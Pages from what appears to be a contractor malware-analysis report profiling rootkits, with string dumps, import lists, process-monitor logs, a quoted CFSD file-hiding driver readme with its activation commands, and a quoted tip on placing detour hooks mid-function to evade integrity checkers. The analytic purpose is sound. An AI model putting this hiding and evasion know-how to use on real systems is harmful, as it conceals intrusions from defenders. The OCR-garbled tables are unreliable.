RQP  entiu6  QPR
QSV  cAMDu*  QXR
PQV  MDMP  QjT
VXY  H8Qj  QVWjh
sN9E  BHP  BHP
@QPV  QDRj  :Atr
RQV  HTQ  :QTs
@QPV  BPPj  ;QTs
QPV  QXR  SVW
SSV  Q Rj  SVW
v$SVV  PX:Q`t  QD:U
WWV  BXP  HD:M
SVW~  XVj  SVW
PSV  QXh  HHQ

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>SUV</th>
<th>QPV</th>
<th>URLMON.DLL</th>
</tr>
</thead>
<tbody>
<tr>
<td>QRP</td>
<td>QPV</td>
<td>USER32.DLL</td>
</tr>
<tr>
<td>0SUWV</td>
<td>RSQ</td>
<td>VERSION.DLL</td>
</tr>
<tr>
<td>0SUVVWj</td>
<td>GDI32.DLL</td>
<td>WININET.DLL</td>
</tr>
<tr>
<td>RPQ</td>
<td>TranslateCharsetInfo</td>
<td>RegCloseKey</td>
</tr>
<tr>
<td>T$ RP</td>
<td>u hlu</td>
<td>RegOpenKeyExA</td>
</tr>
<tr>
<td>hEG</td>
<td>0hxu</td>
<td>RegQueryValueExA</td>
</tr>
<tr>
<td>QRP</td>
<td>taf</td>
<td>RegEnumKeyExA</td>
</tr>
<tr>
<td>SUVW</td>
<td>0PPjXW</td>
<td>RegQueryInfoKeyA</td>
</tr>
<tr>
<td>SUV</td>
<td>j PjXW</td>
<td>RegQueryValueExW</td>
</tr>
<tr>
<td>SUV</td>
<td>wintrust.dll</td>
<td>DeregisterEventSource</td>
</tr>
<tr>
<td>t-f:N</td>
<td>WinVerifyTrust</td>
<td>ReportEventA</td>
</tr>
<tr>
<td>WQV</td>
<td>WTHelperProvDataFro</td>
<td>RegisterEventSourceW</td>
</tr>
<tr>
<td>PQR</td>
<td>mStateData</td>
<td>RegEnumValueA</td>
</tr>
<tr>
<td>QVP</td>
<td>SVW</td>
<td>GetUserNameA</td>
</tr>
<tr>
<td>SUVW</td>
<td>hFw</td>
<td>DeleteDC</td>
</tr>
<tr>
<td>QRPj</td>
<td>hVw</td>
<td>RestoreDC</td>
</tr>
<tr>
<td>RPQ</td>
<td>tChfw</td>
<td>DeleteObject</td>
</tr>
<tr>
<td>L$/SRPj</td>
<td>PVW</td>
<td>GetTextMetricsA</td>
</tr>
<tr>
<td>PVj</td>
<td>SWWUj</td>
<td>GetTextFaceA</td>
</tr>
<tr>
<td>USPSVj</td>
<td>SVW</td>
<td>SelectObject</td>
</tr>
<tr>
<td>QRPV</td>
<td>t++;t$ti()</td>
<td>CreateFontA</td>
</tr>
<tr>
<td>SUV</td>
<td>SVWU</td>
<td>GetDeviceCaps</td>
</tr>
<tr>
<td>0123456789ABCDEF</td>
<td>tEVU</td>
<td>SetMapMode</td>
</tr>
<tr>
<td>-RAPQ</td>
<td>SVWU</td>
<td>SaveDC</td>
</tr>
<tr>
<td>QPR</td>
<td>Glu</td>
<td>Polyline</td>
</tr>
<tr>
<td>0123456789ABCDEF</td>
<td>GJu</td>
<td>CreatePen</td>
</tr>
<tr>
<td>vPf</td>
<td>SVW</td>
<td>ExtTextOutW</td>
</tr>
<tr>
<td>UVf</td>
<td>0uFWWj</td>
<td>GetTextExtentPoint32W</td>
</tr>
<tr>
<td>wSf</td>
<td>&quot;WWSH</td>
<td>SetTextAlign</td>
</tr>
<tr>
<td>wOG3</td>
<td>E WW</td>
<td>SetBkMode</td>
</tr>
<tr>
<td>SWUPQV</td>
<td>tfS</td>
<td>SetTextColor</td>
</tr>
<tr>
<td>WRU</td>
<td>tMWWS</td>
<td>CreateFontIndirectA</td>
</tr>
<tr>
<td>wkt_</td>
<td>WWu</td>
<td>GetObjectA</td>
</tr>
<tr>
<td>NuO</td>
<td>VSh</td>
<td>MultiByteToWideChar</td>
</tr>
<tr>
<td>wqth</td>
<td>SVW</td>
<td>GetCommandLineA</td>
</tr>
<tr>
<td>SUV</td>
<td>PVh</td>
<td>ExitProcess</td>
</tr>
<tr>
<td>L$/,PQUW</td>
<td>WSV</td>
<td>GetCommandLineW</td>
</tr>
<tr>
<td>wVUJ</td>
<td>ADVAPI32.DLL</td>
<td>MapViewOfFile</td>
</tr>
<tr>
<td>AJu</td>
<td>COMCTL32.DLL</td>
<td>ReleaseMutex</td>
</tr>
<tr>
<td>wet\</td>
<td>GDI32.DLL</td>
<td>WaitForSingleObject</td>
</tr>
<tr>
<td>GMu</td>
<td>KERNEL32.DLL</td>
<td>WaitForMultipleObjects</td>
</tr>
<tr>
<td>L$$(URVPQS</td>
<td>OLEAUT32.DLL</td>
<td>LeaveCriticalSection</td>
</tr>
<tr>
<td>L$$r.f=</td>
<td>SHELL32.DLL</td>
<td>EnterCriticalSection</td>
</tr>
<tr>
<td>PQS</td>
<td>SHLWAPI.DLL</td>
<td>DeleteFileW</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Function</th>
<th>Function</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>GetModuleHandleA</td>
<td>FindNextFileA</td>
<td>LCMapStringW</td>
</tr>
<tr>
<td>GetStartupInfoA</td>
<td>FindClose</td>
<td>GetThreadContext</td>
</tr>
<tr>
<td>GetStartupInfoW</td>
<td>FindFirstFileA</td>
<td>HeapFree</td>
</tr>
<tr>
<td>CloseHandle</td>
<td>GetWindowsDirectoryA</td>
<td>SetLastError</td>
</tr>
<tr>
<td>CreateThread</td>
<td>WriteFile</td>
<td>GetSystemTimeAsFileTime</td>
</tr>
<tr>
<td>Sleep</td>
<td>SetFilePointer</td>
<td></td>
</tr>
<tr>
<td>GetCurrentProcess</td>
<td>CreateFileW</td>
<td>OutputDebugStringA</td>
</tr>
<tr>
<td>TerminateProcess</td>
<td>GetTempPathW</td>
<td>LCMapStringA</td>
</tr>
<tr>
<td>SetUnhandledException</td>
<td>GetFileAttributesW</td>
<td>GetStringTypeA</td>
</tr>
<tr>
<td>Filter</td>
<td>CreateDirectoryW</td>
<td>RtlUnwind</td>
</tr>
<tr>
<td>MultDiv</td>
<td>LockResource</td>
<td>ExtractIconExA</td>
</tr>
<tr>
<td>FreeLibrary</td>
<td>LoadResource</td>
<td>ShellExecuteExA</td>
</tr>
<tr>
<td>GetProcAddress</td>
<td>FindResourceExA</td>
<td>AssocQueryStringW</td>
</tr>
<tr>
<td>WideCharToMultiByte</td>
<td>GetSystemDirectoryA</td>
<td>UrlGetPartA</td>
</tr>
<tr>
<td>GetModuleFileNameA</td>
<td>SetEndOfFile</td>
<td>wnsprintfA</td>
</tr>
<tr>
<td>LoadLibraryA</td>
<td>ExpandEnvironmentStringsA</td>
<td>CreateURLMoniker</td>
</tr>
<tr>
<td>GetSystemDefaultLangID</td>
<td>ExpandEnvironmentStringsW</td>
<td>GetScrollInfo</td>
</tr>
<tr>
<td>GetUserDefaultLangID</td>
<td>GetACP</td>
<td>IsDlgButtonChecked</td>
</tr>
<tr>
<td>GetACP</td>
<td>GetSystemDefaultLCID</td>
<td>LoadIconA</td>
</tr>
<tr>
<td>GetVersionExA</td>
<td>InitializeCriticalSection</td>
<td>DrawFocusRect</td>
</tr>
<tr>
<td>GetProcessHeap</td>
<td>GetSystemTime</td>
<td>SetWindowTextW</td>
</tr>
<tr>
<td>DeleteCriticalSection</td>
<td>GetProcessTime</td>
<td>GetWindow</td>
</tr>
<tr>
<td>IsCopyA</td>
<td>GetComputerNameA</td>
<td>LoadCursorA</td>
</tr>
<tr>
<td>GetLastError</td>
<td>CreateMutexA</td>
<td>DestroyIcon</td>
</tr>
<tr>
<td>GetProfileStringA</td>
<td>CreateSemaphoreA</td>
<td>GetWindowPlacement</td>
</tr>
<tr>
<td>SetEvent</td>
<td>VirtualFree</td>
<td>IsIconic</td>
</tr>
<tr>
<td>CreateSemaphoreA</td>
<td>TlsGetValue</td>
<td>LoadStringW</td>
</tr>
<tr>
<td>CreateFileMappingA</td>
<td>ResumeThread</td>
<td>GetWindowThreadProcessId</td>
</tr>
<tr>
<td>GetFileSize</td>
<td>GetCurrentThreadId</td>
<td>ssId</td>
</tr>
<tr>
<td>CreateFileA</td>
<td>TerminateThread</td>
<td>EnumWindows</td>
</tr>
<tr>
<td>UnmapViewOfFile</td>
<td>IsValidCodePage</td>
<td>CharPrevA</td>
</tr>
<tr>
<td>DeleteFileA</td>
<td>GetProcessId</td>
<td>CallWindowProcA</td>
</tr>
<tr>
<td>RemoveDirectoryA</td>
<td>GetSystemParametersInfoA</td>
<td>CallWindowProcW</td>
</tr>
<tr>
<td>RemoveDirectoryW</td>
<td>IsValidUnicode</td>
<td>IsWindowUnicode</td>
</tr>
<tr>
<td>GetTickCount</td>
<td>HandleEFAULT</td>
<td>EnableWindow</td>
</tr>
<tr>
<td>SetEnvironmentVariableA</td>
<td>VirtualAlloc</td>
<td>DrawIconEx</td>
</tr>
<tr>
<td>A</td>
<td>DuplicateHandle</td>
<td>DestroyWindow</td>
</tr>
<tr>
<td>ReadProcessMemory</td>
<td>lstrcmpW</td>
<td>SetWindowLongA</td>
</tr>
<tr>
<td>VirtualQueryEx</td>
<td>GetStringTypeW</td>
<td>GetSysColor</td>
</tr>
<tr>
<td>GetSystemInfo</td>
<td>DebugBreak</td>
<td>SendDlgItemMessageA</td>
</tr>
<tr>
<td>GetFileAttributesA</td>
<td>GetThreadSelectorEntry</td>
<td>GetClientRect</td>
</tr>
<tr>
<td>CreateDirectoryA</td>
<td>GetLocaleInfoA</td>
<td>SetScrollInfo</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SystemParametersInfoA</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CheckDlgButton</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SetDlgItemTextA</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SetDlgItemTextA</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
HEY, YOU! Please put the four letter assert tag in the assertion field in RAID if you enter a bug. Thanks.

Faulting application %1, version %2, faulting module %3, version %4, fault address 0x%5.

Fault bucket %1.

Hanging application %1, version %2, hanging module %3, version %4, hang address 0x%5.

Fault bucket %1.

Accepted Safe Mode action : %1.

Rejected Safe Mode action : %1.
### Process Monitor Dlls Migloader.exe and Dwwin.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Process Start</td>
<td>C:\Documents and Settings%210user\Desktop\migloader.exe</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 1408</td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\ntdll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\flashloader.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>ltrep.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\version.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\use renv.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\rpcrt4.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\shell32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\msvcr.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\gdi32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\winsta.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\inetapi32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\wtsapi32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\setunapis.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\shlwapi.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\umem32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\uppapi32.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>help.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Load Image</td>
<td>help.dll</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>migloader.exe</td>
<td>1188</td>
<td>Process Create</td>
<td>C:\WINDOWS\system32\dwwin.exe</td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td></td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1188</td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\dwwin.exe</td>
<td>SUCCESS</td>
<td>Thread ID: 408</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
### Load Image

<table>
<thead>
<tr>
<th>Filename</th>
<th>Length</th>
<th>Success</th>
</tr>
</thead>
<tbody>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>Image Size: 0x103000, Image Base: 0x773d0000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>Image Size: 0x1d0000, Image Base: 0x76390000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>Image Size: 0xb40000, Image Base: 0x76910000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\rpcrt4.dll</td>
<td>Image Size: 0x150000, Image Base: 0x77be0000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\security.dll</td>
<td>Image Size: 0x2d0000, Image Base: 0x76b40000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\comctl32.dll</td>
<td>Image Size: 0x380000, Image Base: 0x5ad70000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\gdi32.dll</td>
<td>Image Size: 0x260000, Image Base: 0x5cb70000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\shell32.dll</td>
<td>Image Size: 0x260000, Image Base: 0x6f880000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\shlwapi.dll</td>
<td>Image Size: 0x450000, Image Base: 0x78000000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\urlmon.dll</td>
<td>Image Size: 0x1270000, Image Base: 0x77c00000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\version.dll</td>
<td>Image Size: 0x910000, Image Base: 0x77000000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\w32u.dll</td>
<td>Image Size: 0x9a0000, Image Base: 0x78130000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\windowscodecs.dll</td>
<td>Image Size: 0x110000, Image Base: 0x79100000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\wininet.dll</td>
<td>Image Size: 0x9b0000, Image Base: 0x777dd0000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\winmct.dll</td>
<td>Image Size: 0x9c0000, Image Base: 0x77ff0000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\winmeng.dll</td>
<td>Image Size: 0x9d0000, Image Base: 0x78050000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\winurl.dll</td>
<td>Image Size: 0x400000, Image Base: 0x78000000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\winver.dll</td>
<td>Image Size: 0x8b0000, Image Base: 0x7c9c0000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\winver.dll</td>
<td>Image Size: 0x8c0000, Image Base: 0x77e70000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\wpack.dll</td>
<td>Image Size: 0x8d0000, Image Base: 0x77f60000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\wproxy.dll</td>
<td>Image Size: 0x8e0000, Image Base: 0x7c900000,</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>C:\WINDOWS\system32\wininet.dll</td>
<td>Image Size: 0x8f0000, Image Base: 0x7c800000,</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HB Gary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>Event Type</th>
<th>Path</th>
<th>Status</th>
<th>Thread ID</th>
<th>Image Base</th>
<th>Image Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Thread Create</td>
<td>C:\WINDOWS\system32\ricc.dll</td>
<td>SUCCESS</td>
<td>636</td>
<td>0x74e30000</td>
<td>0x6d000</td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\shfl.dll</td>
<td>SUCCESS</td>
<td>2600</td>
<td>0x76780000</td>
<td>0x9000</td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\political.dll</td>
<td>SUCCESS</td>
<td>5512</td>
<td>0x74720000</td>
<td>0x8e000</td>
</tr>
<tr>
<td>dwwin.exe</td>
<td>1412</td>
<td>Load Image</td>
<td>C:\WINDOWS\system32\comctl32.dll</td>
<td>SUCCESS</td>
<td></td>
<td>0x8e000</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Miscellaneous Information and Summary

I could not find a readme file connected to this rootkit. However, I did find some information at https://www.rootkit.com/newsread.php?newsid=152 written by the author himself, Greg Hoglund. I think the point that he makes regarding integrity checkers is probably the most notable one in respect to what this report’s goal is. That is, “On a final note, some integrity checkers will find these patches if they are placed on the prolog of a function. But, most checkers won’t check the whole function. They might only check the first 20 bytes or so. You could place a detour jmp anywhere you wish - even right in the middle of a function. This will escape detection by a checker more often.”
Clandestine File System Driver (CFSD)  Linderman

The following is the readme.txt from the CFSD rootkit.

I. INTRODUCTION

Clandestine File System Driver (cfsd) is currently a filter driver that misrepresents the underlying file system contents. It dynamically attaches to system volumes based on attach method, device type, and file system. Once it has attached itself to a volume it will start to filter IRP_MJ_DIRECTORY_CONTROL calls based upon defined match criteria.

<table>
<thead>
<tr>
<th>File Name</th>
<th>File Attributes</th>
<th>File Times</th>
</tr>
</thead>
</table>

It then removes any matched entries from the return essentially hiding the file.

II. PURPOSE

This driver was created with the intention of providing a layer of Security for program file protection. It is not intended to be an all encompassing module that is a bulletproof solution in all cases, but rather a mechanism for use in a bigger security strategy. On a minor level it provides a semi-sophisticated way to hide files from other users on the system.

V. REVEALING

Programs such as Rootkit revealer will be able to point out any entries hidden by the driver. This is not really a problem for this driver since it is not using subterfuge of the file system to hide anything that the user "should not" know is already there. More over it is using stealth as another measure of denying access to the file rather then just hiding it.

flister can display varied results depending on how cfsd has chosen to respond to a ZwQueryDirectoryFile() request. I do believe it is possible to completely hide from a ZwQueryDirectoryFile() request but such a method is not implemented at this time.

Being able to block access to a file at interface and source level is more in line with what ultimately the driver is designed to accomplish and not just pure stealth. Under the current implementation complete stealth is impossible because a cross-view difference will always reveal the truth.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
VI. USAGE

A supplied cfsd.inf will install the required registry entries for the driver to function with a right click install. No reboot is needed and the driver can then be activated/deactivated using 'net start cfsd' and 'net stop cfsd' commands. Alternatives also are using the filter manager commands 'fltmc load cfsd' and 'fltmc unload cfsd' or 'sc' commands but the above mentioned should be adequate. The match criteria is hard coded to hide the file name 'testme.txt' anywhere it is found for those that do not possess the ability to recompile the driver. It is also hard coded at the moment for attach method, device, and file system so if you see a refusal in the debug it is most likely because it was not defined, cfsd uses an explicit deny method for volume types and file systems attachment. Other scenarios in the future will use the registry for match criteria and a user mode module will also provide access if chosen as a conditional compile into the driver. The cfsd.sys provided is compiled in the XP checked build so you can watch an incredible amount of spam about the driver’s current actions.

VII. Filter Manager

In short the filter manager appears to be Microsoft’s attempt to API file system drivers for more centralized access and system control. This in turn allows the driver to be extended across patch levels, different Microsoft operating systems, and file systems. Downside of this is that the IFS version of the DDK is required to compile this driver, but I feel the upside is worth this sacrifice. Standardized calls in the form of FltXXX functions cut down the development time significantly with most of the focus being directed towards the task at hand.

A much better definition of the filter manager and its capabilities are located in the IFS DDK with other support information available from Microsoft. Win2k received filter manager in a recent UPR with a redistributable becoming available in the very near future.

VII - Appendix

cfsd.zip
https://www.rootkit.com/vault/merlvingian/cfsd.zip

Rootkit Revealer
http://www.sysinternals.com/utilities/rootkitrevealer.html

flister
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

Strider GhostBuster
http://research.microsoft.com/rootkit/
IFS Kit
http://www.microsoft.com/whdc/devtools/ifskit/default.mspx

Filter Manager
http://www.microsoft.com/whdc/driver/filterdrv/default.mspx

Filter Manager Win2k/2003
http://support.microsoft.com/kb/894608

**Process Explorer Threads cfsd.exe**

<table>
<thead>
<tr>
<th>TID</th>
<th>Start Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>3300</td>
<td>Create Thread+0x2e</td>
</tr>
<tr>
<td>3388</td>
<td>ntdll.dll!RtlConvertUiListToApiList+0x273</td>
</tr>
</tbody>
</table>

**Process Explorer Strings Memory cfsd.exe**

```
IX.  Cfsd.exe Strings
\ComServerPort ProductName used patern matching
ijij VS_VERSION_INF DDK driver at your own risk
O ProductVersion cfsd NOTES.TXT
StringFileInfo VarFileInfo NASTY IS A
CompanyName Translation A USER MODE
Windows (R) 2000 !This program NASTY HACK OF
DDK provider cannot be run in INTERFACE JUST
FileVersion DOS mode.
| Wild Cards are accepted in file NON COMPILED
| DDK User Interface .U8/j4V[j4V]j4V| CHANGES TO
| FileVersion :Y[k4V]j4W| FILE NAME
| 5.1.2600.2180 built [k4V]Richj4V| MATCHING. THIS
| by: WinDDK .text DRIVER IS STILL
| InternalName `.data UNDER HEAVY
| cfsd.exe .rsrc DEVELOPMENT
| LegalCopyright Wild Cards are WITH THIS
| Microsoft names but explorer INTERFACE AS
| Corporation. All gives very odd QUICK EXAMPLE
| rights reserved. results at times so FOR THOSE WHO
| OriginalFilename```

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
CANT RECOMPILE THE DRIVER**
Clandestine File System Driver comes with ABSOLUTELY NO WARRANTY

Clandestine File System Driver - User Interface, Copyright (C) Jason Todd 2005
Injecting (%s) into file name match criteria SUCCESS
FAILURE ERROR: 0x%08x

Did you use the 'net start cfsd' command?

You *MUST* specify a file name

You *MUST* specify a file name

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-165-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

Synchronous IO Non-Alert, Attributes: n/a, ShareMode: Read, Write, AllocationSize: n/a, OpenResult: Opened

Control: FSCTL_IS_VOLUME_MOUNTED
cfsd.exe 2752 RegOpenKey HKLM\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers SUCCESS Desired Access: Query Value

cfsd.exe 2752 RegQueryValue HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\TransparentEnabled SUCCESS Type: REG_DWORD, Length: 4, Data: 1

cfsd.exe 2752 RegCloseKey HKCU\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers NAME NOT FOUND Desired Access: Query Value

cfsd.exe 2752 RegQueryValue C:\WINDOWS\system32\fltlib.dll SUCCESS Desired Access: Read

cfsd.exe 2752 RegOpenKey HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msvcr.dll NAME NOT FOUND Desired Access: Read

cfsd.exe 2752 RegOpenKey HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\FLTLIB.DLL NAME NOT FOUND Desired Access: Read

cfsd.exe 2752 RegOpenKey HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ntdll.dll NAME NOT FOUND Desired Access: Read

cfsd.exe 2752 RegOpenKey HKLM\System\Current ControlSet\Control\Session Manager\SafeDllSearchMode NAME NOT FOUND Desired Access: Read Offset: 4,096, Length: 512, I/O Flags: Non-cached, Paging I/O, Synchronous Paging I/O

cfsd.exe 2752 ReadFile cfsl.zip\bin\cfsd.exe SUCCESS Desired Access: Query Value

cfsd.exe 2752 RegOpenKey HKLM\System\Current ControlSet\Control\Session Manager\SafeDllSearchMode\hMode NAME NOT FOUND Desired Access: Query Value

cfsd.exe 2752 RegQueryValue HKLM\System\Current ControlSet\Control\Session Manager\SafeDllSearchMode\hMode\Mode SUCCESS Length: 16

cfsd.exe 2752 RegCloseKey C:\Documents and Settings\210user SUCCESS

cfsd.exe 2752 CloseFile SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
**HxDefender (Hacker Defender)**  Chase

Hacker Defender contains four executables. Below using Process List you can see the process name and other information. I have highlighted the processes we are concerned with.

For each of the four executables I have included the dlls that were affected, file activity and thread stacks. I did not include the registry monitors or the memory strings due to space considerations; however, I do have these logs if they are needed at some time in the future.

At the end of the monitor logs I have included the readme file for Hacker Defender.

**Process List HxDefender**

<table>
<thead>
<tr>
<th>Name</th>
<th>Pid</th>
<th>Pri</th>
<th>Thd</th>
<th>Hnd</th>
<th>Priv</th>
</tr>
</thead>
<tbody>
<tr>
<td>Idle</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>8</td>
<td>90</td>
<td>199</td>
<td>0</td>
</tr>
<tr>
<td>smss</td>
<td>656</td>
<td>11</td>
<td>3</td>
<td>19</td>
<td>164</td>
</tr>
<tr>
<td>csrss</td>
<td>720</td>
<td>13</td>
<td>11</td>
<td>450</td>
<td>1660</td>
</tr>
<tr>
<td>winlogon</td>
<td>744</td>
<td>13</td>
<td>24</td>
<td>522</td>
<td>6568</td>
</tr>
<tr>
<td>services</td>
<td>788</td>
<td>9</td>
<td>15</td>
<td>257</td>
<td>1540</td>
</tr>
<tr>
<td>lsass</td>
<td>800</td>
<td>9</td>
<td>23</td>
<td>352</td>
<td>3716</td>
</tr>
<tr>
<td>svchost</td>
<td>952</td>
<td>8</td>
<td>18</td>
<td>196</td>
<td>2932</td>
</tr>
<tr>
<td>svchost</td>
